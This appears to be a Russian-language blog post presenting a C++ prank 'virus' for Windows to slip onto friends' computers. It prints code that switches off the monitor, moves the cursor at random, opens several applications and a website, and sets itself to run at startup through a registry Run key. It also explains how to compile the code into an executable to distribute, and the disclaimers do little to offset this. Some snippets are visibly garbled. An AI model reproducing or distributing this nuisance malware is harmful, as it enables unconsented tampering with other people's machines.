Это всё сломает

Это всё сломает


Привет!

Перед Новым Годом самое время над кем-нибудь поиздеваться, не так ли? =)

//

Сегодня покажу тебе штуку, которая хорошенько порадует всех твоих друзей, которым сможешь её подсунуть.

Итак, наша программка с горем пополам написана на плюсах (они же C++)

Как всегда, я тебе тут не просто в уши заливаю непонятно что, а даю материал, который ты самостоятельно можешь использовать, где вздумается (но лучше не надо:D)

Частично я на себе эту штуку проверил - такое себе =)

Перейдём к сути.


Вот ссылка на отдельный пост в Телеграфе, где можно рассмотреть код:

Код 'вируса'


ВНИМАНИЕ!

Я не несу никакой ответственности за последствия запуска данной программы.

Скорее всего кому-то будет больно и всё сломается. Поэтому лучше вообще нигде её не запускай.


Что оно делает?

По факту это не вирус в привычном представлении. Но эта штука ОЧЕНЬ РАЗДРАЖАЕТ И НАПРЯГАЕТ.

На самом деле, это какая-то сборная солянка.

Творит с девайсом то одну, то другую дичь!

Что за дичь? Читаем ниже!


Итак, чуть-чуть разберём функционал.

Выключение монитора:

void Hibernation()

{

Sleep(1000);

SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);

}


Дёрганый курсор:

Генерируем рандомные координаты, по которым будет скакать курсор.

void CrazyMouse()

{

X = rand()%801;

Y = rand()%601;

SetCursorPos( X, Y );

}


Открывает всякие приложения:

void OpenStuff()

{

ShellExecute(NULL,"open",Notepad,NULL,NULL,SW_MAXI MIZE);

ShellExecute(NULL,"open",MineSweeper,NULL,NULL,SW_ MAXIMIZE);

ShellExecute(NULL,"open",Hearts,NULL,NULL,SW_MAXIM IZE);

ShellExecute(NULL,"open",Website,NULL,NULL,SW_MAXI MIZE);

}


Программа будет запускаться даже после перезагрузки:

По идее должно как-то так и работать. Лично не пробовал, при тесте сносил это на фиг, чтобы потом не терять время на устранение возможных последствий.

А вообще, если это работает, то очевидно, что и перезагрузкой не отделаешься.

HKEY hKey;

RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Mcft\\W indows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );

RegSetValueEx(hKey, "SetUp",0,REG_SZ,(const unsigned char*)system,sizeof(system));

RegCloseKey(hKey);


Повторюсь: если уж будешь извращаться и запускать, она даже, возможно, заработать сможет как надо =) Пеняй всё на себя.


Как использовать?

Итак, если ты знаешь, что делать с кодом, можешь сворачивать статью =)

Если нет - рассказываю.


Качаем какую-нибудь среду разработки. Например, Dev-CPP или вижуал студио.

Для тех, кто просто хочет поиздеваться над кем-нибудь только с этим примером, качайте Dev-CPP, поставите, удалите, забудете.

Кто самостоятельно хочет со все этим дополнительно повозиться, вооружайтесь лучше Гуглом и Visual Studio.


В Dev-CPP просто создаёшь новый файл, копируешь туда код, сохраняешь с расширением .cpp и компилируешь. (!!!Просто компилируешь, не запуская у себя на ПК. Вроде F9 - горячая клавиша. Но стоит удостовериться лично =) )

Тогда у тебя появляется exe'шник, который по сути можно уже распространять. Если не будет работать, можно на нужном компьютере опять же собрать всё это в Dev-CPP.


А если ударишься в Visual Studio, читай гугл =)


Скачать DEV-CPP

Скачать Visual Studio


Спасибо за то, что дочитали статью!

Report Page